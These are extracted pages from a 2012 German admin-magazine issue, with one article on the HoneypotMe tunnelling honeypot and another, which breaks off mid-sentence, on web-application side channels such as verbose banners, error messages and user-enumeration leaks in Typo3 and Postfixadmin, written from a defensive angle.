2003 2004 2005 2006 2007 2008 2009 2010 2011 2012<br />
Abbildung 1: Die Anzahl der Schadprogramme im Internet ist in den letzten<br />
Jahren explodiert. Die Zahlen stammen vom AV-TEST Institute , das täglich über<br />
55 000 bösartige Programme registriert.<br />
Um dies zu vermeiden und gleichzeitig<br />
eine zentrale Auswertung der unerwünschten<br />
Verbindungen zu ermöglichen,<br />
verwendet HoneypotMe eine separate,<br />
dedizierte Analysekomponente.<br />
Unerwünschte Verbindungen leitet HoneypotMe<br />
transparent von den Produktivsystemen<br />
an diese Analysekomponente<br />
weiter, die sie anschließend annimmt<br />
und detailliert auswertet. Um alle Informationen<br />
zu erhalten, die auch direkt am<br />
betroffenen Produktivsystem anfallen,<br />
werden solche Verbindungsaufbauversuche<br />
von HoneypotMe transparent an die<br />
Analysekomponente getunnelt.<br />
Transparente Tunnel<br />
Abbildung 2: Schematische Darstellung der Funktionsweise von HoneypotMe.<br />
hält. Darüber hinaus bleiben<br />
alle in den Verbindungsdaten<br />
enthaltenen Metadaten, insbesondere<br />
die Paket-Header,<br />
erhalten, aus denen sich weitere<br />
Informationen über das<br />
angreifende System ableiten<br />
lassen.<br />
Eine wesentliche Herausforderung<br />
bei der Weiterleitung<br />
einzelner Ports von Produktivsystemen<br />
zu der Analysekomponente<br />
ist die Auswahl<br />
der weiterzuleitenden Ports.<br />
Zwar ist auf einigen Ports<br />
keine reguläre Interaktion zu<br />
erwarten, doch unterscheiden<br />
sich diese Ports von Betriebssystem<br />
zu Betriebssystem und<br />
je nach Einsatzzweck des Hosts. Sie lassen<br />
sich daher nicht verallgemeinern. So<br />
ist es zwar beispielsweise unwahrscheinlich,<br />
dass der Port 1439 des MS-SQL-<br />
Datenbankservers auf Linux-Systemen<br />
für produktive Zwecke eingesetzt wird.<br />
Jede Interaktion mit diesem Port ließe<br />
sich demnach analog zum Konzept klassischer<br />
Honeypots generell als bösartige<br />
Interaktion ansehen. Unter Windows<br />
sähe die Sache aber anders aus. Darüber<br />
hinaus kann die Menge der produktiv<br />
verwendeten Ports über den Beobachtungszeitraum<br />
variieren.<br />
Flexible Portauswahl<br />
Dem kann nur eine flexible Weiterleitung<br />
von Ports in Abhängigkeit von den einzelnen<br />
Hosts Rechnung tragen. Würden<br />
stattdessen etwa beliebige Verbindungsaufbauversuche<br />
auf eine zuvor festgelegte<br />
Menge an Ports pauschal an eine<br />
Analysekomponente weitergeleitet, so<br />
kämen dafür nur Ports infrage, die keines<br />
der Produktivsysteme benutzt. Ports, die<br />
da<strong>gegen</strong> nur von einer Teilmenge aller<br />
Systeme verwendet werden,<br />
blieben außen vor.<br />
HoneypotMe bedient sich<br />
daher einer flexiblen Weiterleitung<br />
von Verbindungsaufbauversuchen<br />
an die Analysekomponente.<br />
HoneypotMe<br />
überprüft dazu für eingehende<br />
Pakete mit gesetztem<br />
SYN-Flag, ob ein entsprechender<br />
Empfangs-Socket an den<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
47
security<br />
HoneypotMe<br />
angefragten Port gebunden ist. Wird ein<br />
Versuch registriert, einen nicht empfangsbereiten<br />
Port zu kontaktieren, so wird das<br />
SYN-Paket automatisch von HoneypotMe<br />
über einen Tunnel an die Analysekomponente<br />
weitergeleitet. Die kann nun eine<br />
TCP-Verbindung aufbauen und ein entsprechendes<br />
Antwort-Paket mit gesetzten<br />
SYN/ACK-Flags über den Tunnel an den<br />
<strong>Angreifer</strong> zurücksenden.<br />
Die weitere Kommunikation findet logisch<br />
zwischen <strong>Angreifer</strong> und Analysekomponente<br />
statt, sodass das Opfersystem<br />
selbst die Verbindung nicht annehmen<br />
muss. Währendessen werden<br />
automatisch generierte RST-Pakete auf<br />
dem Opfersystem unter Linux mithilfe<br />
von »libipq« dynamisch blockiert. Um zu<br />
verhindern, dass die Analysekomponente<br />
weitere Verbindungen über den Tunnel<br />
in das zu überwachende Netz aufbaut,<br />
verwirft HoneypotMe TCP-SYN-Pakete<br />
die über den Tunnel kommen. Darüber<br />
hinaus wird sichergestellt, dass weiterzuleitende<br />
TCP-Pakete jeweils die korrekte<br />
Absender-IP-Adresse verwenden.<br />
Angriffsszenarios<br />
Der Einsatz von HoneypotMe auf Produktivsystemen<br />
hat darüber hinaus verschiedene<br />
interessante Nebeneffekte. Weil geschlossene<br />
Ports als Honeypot dienen,<br />
kann der <strong>Angreifer</strong> – etwa mithilfe von<br />
»nmap« – nicht unterscheiden, ob es sich<br />
bei den angebotenen Diensten des Opfersystems<br />
tatsächlich um real existierende<br />
oder um simulierte Dienste handelt. Die<br />
Menge der für den <strong>Angreifer</strong> sichtbaren<br />
Dienste setzt sich aus den Diensten auf<br />
dem Opfersystem plus den Diensten der<br />
Analysekomponente zusammen (Abbildung<br />
3, 4). Infolgedessen ähneln sich<br />
Systeme mit HoneypotMe. Während dynamische<br />
Honeypots oft das Ziel verfolgen,<br />
sich möglichst den Produktivsystemen<br />
anzupassen, um eine Unterscheidung<br />
zu erschweren, gleicht HoneypotMe<br />
die Erscheinung von Produktivsystemen<br />
der des Honeypots an.<br />
Darüber hinaus ist es mithilfe von HoneypotMe<br />
möglich, die Sicherheit der<br />
Produktivsysteme durch die Weiterleitung<br />
ungenutzter Ports direkt zu erhöhen.<br />
So ist es denkbar, dass <strong>Angreifer</strong><br />
von realen verwundbaren Diensten des<br />
Opfersystems absehen und stattdessen<br />
Abbildung 3: Sichtbare Ports nach Überprüfung<br />
eines gewöhnlichen Linux-Webservers mit »nmap«.<br />
einen Dienst des Honeypots angreifen.<br />
Selbstverbreitende Schadprogramme wie<br />
Phatbot, Agobot oder Spybot verwenden<br />
beispielsweise Angriffe auf verschiedene<br />
Dienste, um neue Systeme zu infizieren.<br />
Bricht ein Schadprogramm den Angriff<br />
nach dem ersten erfolgreichen Infektionsversuch<br />
auf einen simulierten Dienst<br />
ab, so werden reale verwundbare Dienste<br />
nicht angegriffen. In diesem Fall ließe<br />
sich also eine Infektion des Produktivsystems<br />
durch die Simulation von Diensten<br />
verhindern.<br />
Im Unterschied dazu ist es auch möglich,<br />
dass menschliche <strong>Angreifer</strong> simulierte<br />
Dienste erkennen und sich infolgedessen<br />
auf einen anderen Dienst konzentrieren.<br />
In diesem Fall ist der manuelle Angriff<br />
zwar unter Umständen erfolgreich, der<br />
Angriff auf den simulierten Dienst zuvor<br />
wird aber bemerkt.<br />
Honeypot tarnen<br />
Abbildung 4: Sichtbare Ports eines Linux-<br />
Webservers mit aktivem HoneypotMe nach<br />
Überprüfung durch »nmap« (gekürzt).<br />
Erkennt ein <strong>Angreifer</strong> da<strong>gegen</strong> eine untypische<br />
Kombination verfügbarer Dienste<br />
auf dem anvisierten System, schließt er<br />
unter Umständen auf simulierte Dienste<br />
oder einen Honeypot. Ist es dem <strong>Angreifer</strong><br />
jedoch nicht möglich, simulierte<br />
von realen Diensten zu unterscheiden,<br />
so bricht er den Angriff im besten Fall ab.<br />
Das erhöht wiederum die Sicherheit der<br />
Systeme. Gleichzeitig verringert sich die<br />
Menge an Informationen über den jeweiligen<br />
Angriff, da ausschließlich die Überprüfung<br />
einzelner simulierter Dienste<br />
registriert wird.<br />
Um zu verhindern, dass der <strong>Angreifer</strong><br />
stutzig wird, weil verschiedene Systeme<br />
dieselben Dienste anbieten, lassen sich<br />
simulierte Dienste variieren. Dadurch<br />
steigt die Wahrscheinlichkeit, dass ein<br />
Angriff auf einen simulierten Dienst<br />
durchgeführt wird und so neben der Angriffserkennung<br />
auch weitere Angriffsdetails<br />
registrierbar sind. Im Gegensatz<br />
zu einem dynamischen Honeypot-Ansatz<br />
wird auch in diesem Fall nicht die<br />
Erscheinung des Honeypots an die der<br />
Produktivsysteme angepasst, sondern<br />
umgekehrt die Erscheinung der Produktivsysteme<br />
variiert.<br />
Im Einsatz<br />
Das Fraunhofer-Institut für Kommunikation,<br />
Informationsverarbeitung und Ergonomie<br />
FKIE entwickelt und betreibt<br />
gemeinsam mit dem Institut für Informatik<br />
4 der Universität Bonn verschiedene<br />
Honeypots zur automatischen Erkennung<br />
von Schadprogrammen im Internet. Dabei<br />
lässt sich beobachten, dass häufig<br />
Schadprogramme in unterschiedlichen<br />
Netzen unterschiedlich stark verbreitet<br />
sind. Gleichzeitig registrieren Honeypots<br />
sich verbreitende Schadprogramme innerhalb<br />
ihrer eigenen Netzbereiche oft<br />
mit höherer Wahrscheinlichkeit (Abbildung<br />
5). Der Grund dafür liegt darin,<br />
dass Schadprogramme das Internet häufig<br />
nicht vollkommen zufällig nach verwundbaren<br />
Systemen durchsuchen, sondern<br />
etwa bevorzugt Systeme innerhalb<br />
des eigenen Subnetzes überprüfen.<br />
Um also einen möglichst differenzierten<br />
Überblick über aktuelle Schadprogramme<br />
zu erhalten, ist es notwendig, Honeypots<br />
in unterschiedlichen Netzbereichen zu<br />
betreiben. Zwar verfügen beide Institute<br />
über IP-Adressen in unterschiedlichen<br />
Netzen, die werden jedoch bereits von<br />
Produktivsystemen verwendet, weshalb<br />
sie nicht für den Einsatz in Honeypots<br />
zur Verfügung stehen. Gleichzeitig benutzen<br />
diese Systemen jedoch meist nur<br />
wenige Ports produktiv, was es möglich<br />
48 Ausgabe 04-2012 Admin www.admin-magazin.de
HoneypotMe<br />
security<br />
macht, freie Ports mithilfe von HoneypotMe<br />
an bereits existierende Honeypots<br />
zur Analyse weiterzuleiten.<br />
Um die Sichtbarkeit der existierenden<br />
Honeypots zu vergrößern, wurde HoneypotMe<br />
über einen Zeitraum von einem<br />
Monat auf vier regulären Produktivsystemen<br />
der Universität Bonn eingesetzt, die<br />
jeweils direkt aus dem Internet erreichbar<br />
waren. Die Auswertung der registrierten<br />
Angriffe hat dabei gezeigt, dass<br />
es sich bei allen häufig weitergeleiteten<br />
Ports um Dienste handelt, die Schadprogrammen<br />
typischerweise zur Infektion<br />
neuer Systeme verwenden (Abbildung<br />
6). Insgesamt konnten so 3448 von 25149<br />
Verbindungsanfragen erfolgreich mithilfe<br />
der Honeypots bearbeitet und analysiert<br />
werden. Bei den übrigen Verbindungsaufbauversuchen<br />
handelt es sich entweder<br />
nur um eine Überprüfung der Ports, oder<br />
der angefragte Dienst wurde von den verwendeten<br />
Honeypots nicht unterstützt.<br />
Bei einem erfolgreichen Verbindungsaufbau<br />
ließen sich jeweils detaillierte Informationen<br />
über den Angriffsversuch<br />
sammeln.<br />
Analyse<br />
Die weitere Analyse ergab insgesamt<br />
8855 Angriffe aus dem Netz der Universität<br />
Bonn. Diese hohe Zahl an Angriffen<br />
resultiert jedoch größtenteils daraus,<br />
dass jeder Verbindungsaufbauversuch<br />
auf einen geschlossenen Port als separater<br />
Angriff gewertet wird. Dadurch<br />
verursacht etwa ein einzelner Port-Scan<br />
bereits eine hohe Anzahl registrierter<br />
Angriffe. Tatsächlich konnten Port-Scans<br />
von drei unterschiedlichen IP-Adressen<br />
aus dem Netz der Universität registriert<br />
werden, welche jeweils parallel auf allen<br />
vier überwachten Systemen liefen. Die<br />
Anzahl der Verbindungsaufbauversuche<br />
pro Port-Scan auf ein mit HoneypotMe<br />
überwachtes System betrug dabei zwischen<br />
11 und 1180. Dieses Beispiel zeigt,<br />
dass es mithilfe von HoneypotMe auch<br />
ohne den Einsatz zusätzlicher Ressourcen<br />
möglich ist, Angriffe auf Produktivsysteme<br />
zu registrieren und auszuwerten.<br />
Die Wahrscheinlichkeit, einen<br />
Angriff aus dem Netz der Universität<br />
Bonn zu registrieren, ist so höher als es<br />
alleine mit Sensoren in anderen Netzen<br />
möglich wäre.<br />
Fazit<br />
Mithilfe von HoneypotMe ist es möglich,<br />
die eingeschränkte Sichtbarkeit von<br />
klassischen Honeypots auf eine Vielzahl<br />
an Systemen zu erweitern, sodass sich<br />
auch größere Netze vollständig mithilfe<br />
von Honeypots zu überwachen lassen.<br />
So können detaillierte Informationen<br />
über Angriffe in den zu überwachenden<br />
Netzen gewonnen und entsprechende<br />
Gegenmaßnahmen getroffen werden.<br />
Darüber hinaus erhöht der Einsatz von<br />
HoneypotMe direkt die Sicherheit der zu<br />
überwachenden Systeme, da es für <strong>Angreifer</strong><br />
nicht möglich ist, reale Ports von<br />
solchen der Analysekomponente zu unterscheiden.Damit<br />
lassen sich <strong>Angreifer</strong><br />
durch simulierte verwundbare Dienste<br />
von realen Verwundbarkeiten ablenken.<br />
Im Gegensatz zu Honeypots auf dedizierten<br />
Ressourcen lassen sich mithilfe von<br />
HoneypotMe jedoch nur solche Angriffe<br />
erkennen, die keine real verfügbaren<br />
Dienste zum Ziel haben. Daher könnte<br />
HoneypotMe einzelne Angriffsversuche<br />
übersehen. Besteht ein Netz jedoch aus<br />
heterogenen Systemen mit unterschiedlichen<br />
verfügbaren Diensten, so ist die<br />
Wahrscheinlichkeit hoch, dass sich über<br />
einen längeren Zeitraum Angriffe auf beliebige<br />
Ports registrieren lassen.<br />
Der Vorteil des hier vorgestellten Verfahrens<br />
liegt insbesondere darin, dass<br />
man keine zusätzlichen Ressourcen für<br />
den Einsatz von HoneypotMe benötigt.<br />
Die Installation sowie der Betrieb der<br />
Sensoren brauchen darüber hinaus kein<br />
Hintergrundwissen. Durch den Einsatz<br />
der Sensoren entsteht kein zusätzliches<br />
Sicherheitsrisiko für die Systeme, da Datenpakete<br />
ausschließlich weiter getunnelt<br />
werden und eine Verbindung weder aufbaut<br />
noch analysiert wird. Die einzelnen<br />
Sensoren benötigen aus diesem Grund<br />
keine Aktualisierungen, um neue Angriffe<br />
zu erkennen, da die Analyse die externe<br />
Analysekomponente übernimmt.<br />
Die Analysekomponente selbst muss<br />
nicht in den Netzen laufen, in denen<br />
sich die Sensoren befinden. Denkbar<br />
wäre, sie in einen speziell abgesicherten<br />
Netzbereich auszulagern oder vollständig<br />
von Dritten betreiben zu lassen. Die von<br />
den Sensoren verwendete Analysekomponente<br />
lässt sich darüber hinaus flexibel<br />
austauschen, sodass für den jeweiligen<br />
Einsatzbereich passende Analysekomponenten<br />
verwendbar sind. (jcb) n<br />
Infos<br />
[1] Forschungsbereich Cyber Defense:<br />
http://www.fkie.fraunhofer.de/de/forschungsbereiche/cyber-defense.html<br />
Abbildung 5: Anteil der mit existierenden Sensoren registrierten Angriffe aus<br />
Deutschland, nach verursachendem Autonomen System (AS).<br />
Abbildung 6: Mithilfe von HoneypotMe registrierte Angriffe auf verschiedene<br />
Ports von Produktivsystemen der Universität Bonn.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
49
security<br />
Seitenkanalangriffe<br />
© Yuriy Brykaylo, 123RF.com<br />
Manche Webanwendungen spielen <strong>Angreifer</strong>n unfreiwillig Informationen zu<br />
Seitenkanäle mit<br />
Untiefen<br />
Hin und wieder sind Fehlermeldungen oder Logeinträge geschwätziger, als es auf den ersten Blick scheint, und<br />
plaudern <strong>Angreifer</strong>n wertvolle Informationen aus. Doch mit einfachen Mitteln ist Abhilfe möglich. Sebastian Schinzel<br />
Glaubt man einschlägigen Filmen, dann<br />
brauchen Hacker nur ein paar kryptische<br />
Zeichen in eine Kommandozeile zu<br />
tippen, und schon haben sie innerhalb<br />
von Sekunden vollen Zugriff auf das Opfersystem.<br />
In der Realität sind Angriffe<br />
auf IT-Systeme allerdings meist nicht so<br />
unkompliziert zu bewerkstelligen. Stattdessen<br />
braucht der <strong>Angreifer</strong> mitunter<br />
Tage oder Wochen, um zum Erfolg zu<br />
kommen. In dieser Zeit erkundet er das<br />
System, um den eigentlichen Angriff auf<br />
dessen Eigenheiten zurechtzuschneiden,<br />
um Abwehrmaßnahmen wie Firewalls<br />
und Intrusion-Prevention-Systeme zu<br />
umgehen und um verräterische Logeinträge<br />
zu vermeiden. Solche Angriffe, die<br />
oft in mehreren aufeinander aufbauenden<br />
Schritten ablaufen, nennt man auch Seitenkanalangriffe<br />
(side channel attacks),<br />
wenn sich der <strong>Angreifer</strong> auf das Auskundschaften<br />
solcher nicht offensichtlicher<br />
Informationen beschränkt, die durch<br />
Beobachtung des Zielsystems gewonnen<br />
wurden. Diese nicht offensichtlichen<br />
Informationen können etwa Laufzeiten<br />
sein, der Prozessor-Energieverbrauch<br />
oder die elektromagnetischen Ausstrahlung,<br />
aber auch Fehlermeldungen.<br />
Beispiele für solche auf Software bezogenen<br />
Informationen sind weiter Hersteller,<br />
Version und Patchlevel des verwendeten<br />
Betriebssystems, der Datenbank, von<br />
Netzwerkkomponenten oder aktiven<br />
Anwendungen. Aber auch Dateipfade<br />
zu vertraulichen Daten oder Konfigurationsdateien<br />
können das entscheidende<br />
Puzzleteil sein, das dem <strong>Angreifer</strong> Zugriff<br />
auf vertrauliche Daten ermöglicht.<br />
Verschwiegenheit ist besser<br />
Natürlich hängt die Sicherheit von Verschlüsselung<br />
und kryptographischen<br />
Signaturen zuallererst von der Geheimhaltung<br />
des Schlüssels ab (Gesetz von<br />
Kerckhoffs) – aber warum sollte man<br />
dem <strong>Angreifer</strong> zum Beispiel aktiv mitteilen,<br />
welche kryptografischen Verschlüsselungsalgorithmen<br />
verwendet werden?<br />
Ohne diese Information müsste der <strong>Angreifer</strong><br />
möglicherweise viel wertvolle Zeit<br />
darauf verwenden, das herauszufinden.<br />
„Security by Obscurity“ ist bekann-<br />
52 Ausgabe 04-2012 Admin www.admin-magazin.de
Seitenkanalangriffe<br />
security<br />
Abbildung 1: Die Wikipedia verrät dem Benutzer unnötigerweise, ob sie einen<br />
bestimmten Benutzer kennt oder nicht. Das ermöglicht beispielsweise gezieltere<br />
Brute-Force-Angriffe.<br />
termaßen dann schlecht, wenn die Sicherheit<br />
eines Systems maßgeblich davon<br />
abhängt. Ein System wird jedoch<br />
im Umkehrschluss nicht sicherer, weil<br />
man alle seine Details offenlegt, sondern<br />
man erleichtert dem <strong>Angreifer</strong> damit die<br />
Arbeit.<br />
Ärgerlicherweise sind viele Systeme jedoch<br />
per Default sehr auskunftsfreudig<br />
und teilen <strong>Angreifer</strong>n von sich aus Hersteller,<br />
Version oder Patchlevel mit. So<br />
offenbart etwa der Apache-Webserver<br />
mit jeder HTTP-Antwort nicht nur seine<br />
eigene Identität, sondern gibt auch detaillierte<br />
Versionsinformationen für die geladenen<br />
Plugins weiter, wie die folgenden<br />
Zeilen beweisen:<br />
Apache/2.2.16 (Debian) DAV/2 SVN/1.6.12 U<br />
mod_fcgid/2.3.6 Phusion_Passenger/3.0.11U<br />
mod_ssl/2.2.16 OpenSSL/0.9.8o <strong>Server</strong> at U<br />
www.domain.tld Port 80<br />
Verräterische<br />
Fehlermeldungen<br />
Eine weitere Informationsquelle sind<br />
technische Fehlermeldungen des Web-<br />
<strong>Server</strong>s wie beispielsweise Stack-Traces.<br />
Sie weisen Benutzer nicht nur auf<br />
Fehlerzustände hin, sondern geben<br />
vertrauliche Information an <strong>Angreifer</strong><br />
weiter, die über Hersteller und Version<br />
verwendeter Technologien hinausgehen.<br />
Zu diesen Informationen gehören beispielsweise<br />
die Dateipfade, die eine Anwendung<br />
verwendet.<br />
Warning: include(): Failed opening U<br />
'file.php' for inclusion (include_path=U<br />
'.:') in /home/www/domain.tld/http/index.U<br />
php on line 42<br />
Das Beispiel zeigt<br />
eine solche Fehlermeldung,<br />
die in<br />
einer PHP-Anwendung<br />
aufgetreten<br />
ist. Der <strong>Angreifer</strong><br />
lernt hier nicht<br />
nur, dass die Anwendung<br />
die Datei<br />
namens „file.php“<br />
nicht gefunden<br />
hat, sondern auch<br />
den lokalen Pfad<br />
im <strong>Server</strong>-Dateisystem,<br />
unter dem<br />
die Web-Anwendung<br />
abgelegt wurde. In diesem Falle<br />
kann der <strong>Angreifer</strong> möglicherweise sogar<br />
auf die Dateipfade anderer Web-Seiten<br />
schließen, die ebenfalls auf diesem <strong>Server</strong><br />
gehostet sind, da der Domain-Name<br />
ein Teil des Pfades ist. Es liegt hier nahe,<br />
dass die Domain example.com unter dem<br />
Pfad »/home/www/example.com/http/«<br />
zu finden ist.<br />
Doch selbst wenn Applikationen nicht<br />
derart redselig sind, offenbaren sie oft<br />
mehr über sich, als auf den ersten Blick<br />
offenbar wird. Dieser Beitrag behandelt<br />
unbewusste und verdeckte Informationslecks,<br />
die wichtige Informationen an den<br />
<strong>Angreifer</strong> verraten.<br />
Möglichst generisch<br />
Nehmen Sie beispielsweise die Login-<br />
Maske einer Web-Seite, die aus einem<br />
Benutzernamensfeld und einem Passwortfeld<br />
besteht. Gibt ein <strong>Angreifer</strong> eine<br />
beliebige Benutzername/Passwort-Kombination<br />
an und antwortet der <strong>Server</strong> mit<br />
Tabelle 1: Typo3-Benutzer<br />
der Fehlermeldung »Ungültiger Benutzername«,<br />
so lernt der <strong>Angreifer</strong>, dass dieser<br />
Benutzername nicht existiert. Abbildung<br />
1 zeigt, dass beispielsweise die Wikipedia<br />
solche Informationen frei kommuniziert.<br />
Diese Information ist interessant<br />
für den <strong>Angreifer</strong>, um etwa einen gezielten<br />
Brute-Force-Angriff auf existierende<br />
Benutzernamen durchzuführen. Daher<br />
sollten Web-Seiten möglichst mit einer<br />
generischen Fehlermeldung antworten,<br />
die Benutzer zwar auf den Fehler hinweist,<br />
jedoch keine vertraulichen Informationen<br />
verrät.<br />
In Extremfällen kann alleine die Tatsache,<br />
dass ein <strong>Angreifer</strong> Fehlerzustände erkennen<br />
kann, zu fatalen Sicherheitslücken<br />
führen. So haben Jager und Somorovsky<br />
vor Kurzem einen Angriff auf den Verschlüsselungsstandard<br />
„XML Encryption“<br />
vorgestellt, durch den ein <strong>Angreifer</strong><br />
Chiffretexte entschlüsseln kann [1]. Der<br />
<strong>Angreifer</strong> muss dafür einen Chiffretext<br />
abhören können, verändern können und<br />
an den Zielserver senden können. Alleine<br />
die Unterscheidung, ob der <strong>Server</strong> einen<br />
Entschlüsselungsfehler meldet oder nicht,<br />
reicht dem <strong>Angreifer</strong>, um die einzelnen<br />
Bytes des Chiffretexts zu entschlüsseln.<br />
Bei dem beschriebenen Angriff benötigt<br />
der <strong>Angreifer</strong> nur rund 14 Anfragen an<br />
den <strong>Server</strong>, um ein Byte des Chiffretexts<br />
zu entschlüsseln.<br />
Padding Oracle<br />
Der zugrunde liegende Angriff basiert<br />
auf sogenannten Padding Oracles, die bereits<br />
2002 von Serge Vaudenay vorgestellt<br />
wurden und die kürzlich auch von Juliano<br />
Rizzo und Thai Duong [3] genutzt<br />
Non-existing user name<br />
Existing user name<br />
HTTP/1.1 200 OK<br />
HTTP/1.1 200 OK<br />
Date: Mon, 25 Jan 2010 11:47:55 GMT<br />
Date: Mon, 25 Jan 2010 11:47:55 GMT<br />
<strong>Server</strong>: Apache/2.2.9 (Debian) PHP/<br />
5.2.6-1+lenny4 with Suhosin-Patch<br />
<strong>Server</strong>: Apache/2.2.9 (Debian) PHP/<br />
5.2.6-1+lenny4 with Suhosin-Patch<br />
X-Powered-By: PHP/5.2.6-1+lenny4<br />
X-Powered-By: PHP/5.2.6-1+lenny4<br />
Expires: Thu, 19 Nov 1981 08:52:00 GMT Expires:0<br />
Last-Modified: Mon, 25 Jan 2010 11:47:55 GMT Cache-Control: no-cache, must-revalidate<br />
Cache-Control: no-store, no-cache,<br />
Pragma: no-cache<br />
must-revalidate, post-check=0, pre-check=0<br />
Pragma: no-cache<br />
Last-Modified: Mon, 25 Jan 2010 11:47:45 GMT<br />
Vary: Accept-Encoding<br />
Vary: Accept-Encoding<br />
Content-Type: text/html;charset=iso-8859-1 Content-Type: text/html;charset=iso-8859-1<br />
Content-Length: 5472 Content-Length: 5472<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
53
security<br />
Seitenkanalangriffe<br />
Abbildung 2: Gültige und ungültige Adressen werden verschieden behandelt, die grau hinterlegten Bereiche sind davon abhängig.<br />
wurden, um Captchas und View-States<br />
von Web-Entwicklungs-Frameworks zu<br />
brechen. Die von Rizzo und Duong beschriebenen<br />
Angriffe nutzten dabei aus,<br />
dass die anfälligen Anwendungen vertrauliche<br />
Informationen verschlüsselten<br />
und an den Browser weiterleiteten. Die<br />
Entwickler der anfälligen Anwendungen<br />
hatten sich darauf verlassen, dass der<br />
<strong>Angreifer</strong> dank der Verschlüsselung die<br />
Daten nicht lesen kann.<br />
So wurde vom Captcha-Provider nicht<br />
nur das verschleierte Captcha, sondern<br />
auch seine verschlüsselte Lösung an den<br />
Benutzer gesendet. Nach der Eingabe<br />
des Benutzers sendet dessen Browser<br />
die vom Benutzer gefundene und die<br />
zuvor verschlüsselt erhaltene Lösung<br />
an den Provider zurück. Das hat den<br />
Vorteil, dass der Captcha-Provider die<br />
Benutzer-Session nicht serverseitig verwalten<br />
muss. Rizzo und Duong konnten<br />
die Lösung des Captchas über ein<br />
Padding Oracle entschlüsseln und somit<br />
das Captcha brechen. Das zeigt, wie ein<br />
<strong>Angreifer</strong> manchmal selbst komplizierte<br />
kryptografische Konzepte überwinden<br />
kann, indem er nur die Fehlermeldungen<br />
eines Systems auswertet.<br />
Seitenkanäle im Web<br />
Zuweilen bilden Fehlermeldungen, die<br />
der <strong>Angreifer</strong> direkt lesen kann, den Seitenkanal.<br />
Es ist jedoch auch möglich,<br />
dass eine Anwendung Informationen<br />
durch weniger offensichtliche Indizien<br />
verrät. Ein Beispiel wurde in der Version<br />
4.5.4 des Content-Management-Systems<br />
Typo3 ausgebessert: <strong>Angreifer</strong> konnten<br />
an der HTTP-Header-Reihenfolge des<br />
Typo3-Backends erkennen, ob ein gegebener<br />
Benutzername ein gültiger administrativer<br />
Benutzer war (Tabelle 1).<br />
Der Fehler entstand, weil Typo3 die<br />
Überprüfung von Benutzername und<br />
Passwort trennt. Zuerst wird der Benutzername<br />
überprüft. Ist er gültig, werden<br />
einige Konfigurationswerte des Benutzers<br />
geladen und über die PHP-Funktion »session_start()«<br />
eine Session gestartet. Dieser<br />
Aufruf wirkt sich auch auf die Cache-<br />
Einstellungen aus, die der <strong>Server</strong> über die<br />
HTTP-Header preisgibt. Somit werden die<br />
Cache-Direktiven im HTTP-Header genau<br />
dann verändert ausgegeben, wenn der<br />
gewählte Benutzername zu einem gültigen<br />
administrativen Benutzer gehört.<br />
Interessanterweise findet man diese Unterschiede<br />
nur, wenn man gezielt danach<br />
sucht, denn einen visuellen Unterschied,<br />
den Benutzer oder Programmierer im<br />
Browser sehen können, gibt es nicht.<br />
Verräterisches Postfix<br />
Eine ähnliche Schwachstelle wurde mit<br />
Version 2.3.2 von Postfixadmin, einer<br />
Management-Web-Anwendung für den E-<br />
Mail-<strong>Server</strong> Postfix, geschlossen. In vorigen<br />
Versionen konnten <strong>Angreifer</strong> herausfinden,<br />
ob eine E-Mail-Adresse zu einem<br />
gültigen administrativen Benutzer gehörte<br />
oder nicht. Dazu musste der <strong>Angreifer</strong><br />
nur die zu prüfende E-Mail-Adresse als<br />
Benutzername in die Login-Maske von<br />
Postfixadmin eingeben und bestätigen.<br />
In der Folge wurde eine Fehlermeldung<br />
ausgegeben und der Benutzer aufgefordert,<br />
die E-Mail-Adresse oder das Passwort<br />
zu korrigieren. Es gab jedoch den<br />
subtilen Unterschied, dass Postfixadmin<br />
die vorher eingegebene E-Mail-Adresse<br />
nur dann wieder in das Benutzernamensfeld<br />
eintrug, wenn sie korrekt war und<br />
zu einem Administratorenkonto gehörte.<br />
Abbildung 2 zeigt den betroffenen Ausschnitt<br />
aus dem<br />
HTML-Quellcode<br />
der Login-Maske<br />
Step 1:<br />
von Postfixadmin.<br />
Der grau hinterlegte<br />
Teil wird in Step 2:<br />
Abhängigkeit ob<br />
eine gültige oder<br />
Step 3:<br />
ungültige E-Mail-<br />
Adresse übergeben<br />
wurde, ein- oder<br />
ausgeblendet.<br />
Generell sind solche<br />
Informationslecks schwierig aufzufinden,<br />
da viele gängige Web-Seiten Teile<br />
der HTTP-Header und der HTML-Inhalte<br />
dynamisch generieren. Es reicht somit<br />
nicht, mehrere Web-<strong>Server</strong>-Antworten<br />
zu vergleichen, sondern man muss gezielt<br />
solche Unterschiede finden, die mit<br />
vertraulichen Informationen zusammenhängen.<br />
Schinzel und Freiling [2] haben<br />
2011 eine Methode vorgestellt, um solche<br />
dynamischen Inhalte zu finden, die von<br />
vertraulichen Informationen abhängen.<br />
Den Kern der Methode zeigt Abbildung<br />
3. Er wird im Folgenden durch das bereits<br />
genannte Login-Masken-Beispiel<br />
verdeutlicht.<br />
Lücken finden<br />
Der <strong>Angreifer</strong> führt im ersten Schritt n<br />
Login-Anfragen mit einem existierenden<br />
Benutzer durch und sammelt die Antworten<br />
(A 1 , A 2 , … , A n ). Er führt weiterhin<br />
n Login-Anfragen mit einem nicht-existierenden<br />
Benutzer durch und sammelt<br />
die Anfragen (B 1 , B 2 , … B n ). Im zweiten<br />
Schritt bildet er die gemeinsame Longest<br />
Common Subsequence (LCS) jeweils<br />
von A und B, wodurch alle dynamischen<br />
Teile, die nicht von der Existenz des Benutzernamens<br />
abhängen, herausgefiltert<br />
werden. X A und X B enthalten dann als<br />
Resultat den statischen Kern der Antworten.<br />
Im dritten Schritt vergleicht der<br />
<strong>Angreifer</strong> X A und X B. Werden in diesem<br />
Schritt noch Unterschiede gefunden, so<br />
hängen diese Unterschiede davon ab, ob<br />
A1, A2, ..., An<br />
LCS<br />
s=0 s=1<br />
X A<br />
!<br />
E<br />
B 1, B2, ..., Bn<br />
LCS<br />
X B<br />
Abbildung 3: Durch Ausfiltern der dynamischen Anteile ohne Bezug zum Benutzernamen<br />
werden Unterschiede sichtbar, die von der Existenz des Namens abhängen.<br />
54 Ausgabe 04-2012 Admin www.admin-magazin.de
Seitenkanalangriffe<br />
security<br />
durch die Analyse der Fehlermeldungen<br />
erhält. Zusätzlich sollten Administratoren<br />
die Fehlerzustände loggen und die<br />
Gesamtzahl der Fehlermeldungen beobachten.<br />
Steigt die Anzahl der Fehler<br />
